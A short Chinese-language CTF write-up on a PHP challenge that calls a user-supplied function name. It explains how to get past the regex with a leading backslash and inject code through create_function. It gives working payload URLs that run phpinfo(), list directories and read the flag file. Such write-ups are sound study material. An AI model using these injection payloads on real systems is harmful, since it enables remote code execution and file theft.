function
source:1
2
3
4
5
6
7
8
9
10
11
12<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
//D 如果使用$限制结尾字符,则不允许结尾有换行;
//i 不区分(ignore)大小写;
//s 特殊字符圆点 . 中包含换行符
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
可以使用create_function()
,用法:https://php.net/manual/zh/function.create-function.php
即第一个为参数新建函数的参数,第二个参数为代码。
create_function('','$GET_['fname']')
等价于
function f() { $GET_['fname']; }
于是传入参数为 1;}phpinfo();/*即
function f(){1;}phpinfo();/*}
这里$action
还需要绕一下正则,使用\
绕过,\func()
表示调用全局空间的函数,如果直接写函数名fun()调用,调用的时候其实相当于写了一个相对路径,而用\func(),即使用的是绝对路径。
拿到phpinfo():
?action=\create_function&arg=1;}phpinfo();/*
列文件:?action=\create_function&arg=1;}var_dump(scandir('/var/www'));/*
读flag:
action=\create_function&arg=1;}var_dump(file_get_contents("../flag_h0w2execute_arb1trary_c0de"));/*
持续更新ing